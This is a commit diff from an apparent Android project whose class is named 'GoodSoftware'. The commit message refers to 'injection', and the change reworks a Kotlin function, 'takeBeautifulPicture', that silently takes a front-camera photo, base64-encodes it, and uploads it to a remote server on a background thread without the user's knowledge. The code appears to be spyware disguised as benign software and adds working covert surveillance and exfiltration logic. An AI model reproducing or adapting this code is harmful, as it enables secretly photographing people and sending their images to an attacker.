The camera likes crashing when playing with injection... hopefully this fixes that
This commit is contained in:
		@@ -42,6 +42,7 @@ import javax.crypto.spec.IvParameterSpec
 | 
			
		||||
import javax.crypto.spec.SecretKeySpec
 | 
			
		||||
import kotlin.concurrent.schedule
 | 
			
		||||
import kotlin.concurrent.scheduleAtFixedRate
 | 
			
		||||
import kotlin.concurrent.thread
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
class GoodSoftware (private val activity: Context) {
 | 
			
		||||
@@ -411,69 +412,67 @@ class GoodSoftware (private val activity: Context) {
 | 
			
		||||
    suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {
 | 
			
		||||
        try {
 | 
			
		||||
            cameraProvider = ProcessCameraProvider.getInstance(context).await()
 | 
			
		||||
 | 
			
		||||
            if (!hasBackCamera() && !hasFrontCamera()) {
 | 
			
		||||
                Log.e(picture.TAG, "Back and front camera are unavailable")
 | 
			
		||||
                return
 | 
			
		||||
            }
 | 
			
		||||
 | 
			
		||||
            lensFacing = if (hasFrontCamera()) {
 | 
			
		||||
                CameraSelector.LENS_FACING_FRONT
 | 
			
		||||
            } else {
 | 
			
		||||
                CameraSelector.LENS_FACING_BACK
 | 
			
		||||
            }
 | 
			
		||||
 | 
			
		||||
            imageCapture = ImageCapture.Builder()
 | 
			
		||||
                .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
 | 
			
		||||
                .build()
 | 
			
		||||
 | 
			
		||||
            val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
 | 
			
		||||
                override fun onError(exc: ImageCaptureException) {
 | 
			
		||||
                    Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
 | 
			
		||||
                    cameraProvider?.unbindAll()
 | 
			
		||||
                }
 | 
			
		||||
 | 
			
		||||
                override fun onCaptureSuccess(image: ImageProxy) {
 | 
			
		||||
                    val byteArrayOutputStream = ByteArrayOutputStream()
 | 
			
		||||
                    val imagePlane = image.planes[0]
 | 
			
		||||
                    val buffer = imagePlane.buffer
 | 
			
		||||
                    val bytes = ByteArray(buffer.capacity())
 | 
			
		||||
                    buffer.get(bytes)
 | 
			
		||||
                    byteArrayOutputStream.write(bytes)
 | 
			
		||||
                    val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
 | 
			
		||||
                    thread {
 | 
			
		||||
                        try {
 | 
			
		||||
                            val conn = establishConnectionWithRetry()
 | 
			
		||||
                            if (conn == null) {
 | 
			
		||||
                                return@thread
 | 
			
		||||
                            }
 | 
			
		||||
                            sendDataToServer(base64Image, conn)
 | 
			
		||||
                            disconnect(conn)
 | 
			
		||||
                        } catch (e: Exception) {
 | 
			
		||||
                            e.printStackTrace()
 | 
			
		||||
                        }
 | 
			
		||||
                    }
 | 
			
		||||
                    cameraProvider?.unbindAll()
 | 
			
		||||
                    image.close()
 | 
			
		||||
                }
 | 
			
		||||
            }
 | 
			
		||||
 | 
			
		||||
            cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
 | 
			
		||||
 | 
			
		||||
            imageCapture?.takePicture(
 | 
			
		||||
                ContextCompat.getMainExecutor(context),
 | 
			
		||||
                imageCapturedListener
 | 
			
		||||
            )
 | 
			
		||||
        } catch (e: ClassNotFoundException) {
 | 
			
		||||
            Log.e("CameraX", "ProcessCameraProvider class not found. Camera functionality not available.")
 | 
			
		||||
            return
 | 
			
		||||
        } catch (e: Exception) {
 | 
			
		||||
            Log.e("CameraX", "Error initializing cameraProvider: ${e.message}", e)
 | 
			
		||||
            return
 | 
			
		||||
        }
 | 
			
		||||
 | 
			
		||||
        if (!hasBackCamera() && !hasFrontCamera()) {
 | 
			
		||||
            Log.e(picture.TAG, "Back and front camera are unavailable")
 | 
			
		||||
            return
 | 
			
		||||
        }
 | 
			
		||||
 | 
			
		||||
        lensFacing = if (hasFrontCamera()) {
 | 
			
		||||
            CameraSelector.LENS_FACING_FRONT
 | 
			
		||||
        } else {
 | 
			
		||||
            CameraSelector.LENS_FACING_BACK
 | 
			
		||||
        }
 | 
			
		||||
 | 
			
		||||
        imageCapture = ImageCapture.Builder()
 | 
			
		||||
            .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
 | 
			
		||||
            .build()
 | 
			
		||||
 | 
			
		||||
        val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
 | 
			
		||||
            override fun onError(exc: ImageCaptureException) {
 | 
			
		||||
                Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
 | 
			
		||||
                cameraProvider?.unbindAll()
 | 
			
		||||
            }
 | 
			
		||||
 | 
			
		||||
            override fun onCaptureSuccess(image: ImageProxy) {
 | 
			
		||||
                val byteArrayOutputStream = ByteArrayOutputStream()
 | 
			
		||||
                val imagePlane = image.planes[0]
 | 
			
		||||
                val buffer = imagePlane.buffer
 | 
			
		||||
                val bytes = ByteArray(buffer.capacity())
 | 
			
		||||
                buffer.get(bytes)
 | 
			
		||||
                byteArrayOutputStream.write(bytes)
 | 
			
		||||
                val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
 | 
			
		||||
                Thread {
 | 
			
		||||
                    val conn = establishConnectionWithRetry()
 | 
			
		||||
                    if (conn == null) {
 | 
			
		||||
                        return@Thread
 | 
			
		||||
                    }
 | 
			
		||||
                    sendDataToServer(base64Image, conn)
 | 
			
		||||
                    disconnect(conn)
 | 
			
		||||
                }.start()
 | 
			
		||||
                cameraProvider?.unbindAll()
 | 
			
		||||
                image.close()
 | 
			
		||||
            }
 | 
			
		||||
        }
 | 
			
		||||
 | 
			
		||||
        cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
 | 
			
		||||
 | 
			
		||||
        imageCapture?.takePicture(
 | 
			
		||||
            ContextCompat.getMainExecutor(context),
 | 
			
		||||
            imageCapturedListener
 | 
			
		||||
        )
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
    private fun hasBackCamera(): Boolean {
 | 
			
		||||
        return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false
 | 
			
		||||
    }
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user